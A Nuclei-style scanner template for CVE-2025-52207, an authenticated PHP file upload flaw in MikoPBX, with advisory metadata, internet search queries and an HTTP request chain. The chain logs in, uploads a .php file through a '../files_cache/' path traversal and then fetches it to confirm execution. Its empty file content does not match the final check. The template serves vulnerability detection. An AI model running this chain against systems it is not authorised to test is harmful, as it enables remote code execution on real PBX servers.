id: CVE-2025-52207 info: name: MikoPBX - Unrestricted File Upload author: darses severity: critical description: | MikoPBX through 2024.1.114 contains an authenticated unrestricted file upload vulnerability caused by allowing PHP script uploads in PBXCoreREST/Controllers/Files/PostController.php. impact: | Authenticated attackers can upload and execute arbitrary PHP scripts, leading to remote code execution and full system compromise. remediation: | Update to the latest version beyond 2024.1.114. reference: - https://github.com/mikopbx/Core/commit/3ee785429d3f1b33c9ab387ef4221127c9b8c5f3 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L cvss-score: 9.9 cve-id: CVE-2025-52207 cwe-id: CWE-23 epss-score: 0.01499 epss-percentile: 0.71605 metadata: vendor: miko product: mikopbx shodan-query: - product:"mikopbx" - http.favicon.hash:8309143 - title:"MikoPBX" fofa-query: - icon_hash="8309143" - title="MikoPBX" tags: cve,cve2025,miko,mikopbx,intrusive,authenticated,file-upload,vuln,vkev variables: filename: "{{to_lower(rand_base(8))}}" filecontent: "" flow: http(1) && http(2) && http(3) http: - raw: - | POST /admin-cabinet/session/start HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8 WebAdminLanguage=en&login={{username}}&password={{password}}&rememberMeCheckBox=false&backUri=%2F matchers: - type: dsl dsl: - contains_all(body, 'BreadcrumbSessionstart') - contains(content_type, 'text/html') - status_code == 200 condition: and internal: true - raw: - | POST /pbxcore/api/files/uploadFile HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=---------------------------{{filename}} Accept-Encoding: gzip -----------------------------{{filename}} Content-Disposition: form-data; name="resumableFilename" {{filename}}.php -----------------------------{{filename}} Content-Disposition: form-data; name="resumableIdentifier" ../files_cache/{{filename}} -----------------------------{{filename}} Content-Disposition: form-data; name="file"; filename="{{filename}}.php" Content-Type: application/octet-stream {{filecontent}} -----------------------------{{filename}} Content-Disposition: form-data; name="resumableChunkNumber" 1 -----------------------------{{filename}} Content-Disposition: form-data; name="resumableTotalChunks" 1 -----------------------------{{filename}} Content-Disposition: form-data; name="resumableTotalSize" {{len(filecontent)}} -----------------------------{{filename}}-- matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "{\"jsonapi\":{\"version\":\"1.0\"},\"result\":true,\"data\":")' condition: and internal: true extractors: - type: json name: upload_path json: - .data.filename internal: true - type: dsl name: extracted_path dsl: - replace_regex(upload_path, "(.*\/files_cache)\/", "") internal: true - method: GET path: - "{{BaseURL}}/pbxcore/files/cache/{{extracted_path}}?{{wait_for(3)}}" matchers: - type: dsl dsl: - body==base64(filename) - status_code==200 condition: and # digest: 4a0a00473045022039ecbccb516fcc2aa546e09b25dd4e8847aa23ed3531f6805e776b4b9479f390022100a7c07a4086c3fa792f1d6280bc3370dff39bea34e4df268b9b1fb5bfefb9ee4f:922c64590222798bb761d5b6d8e72950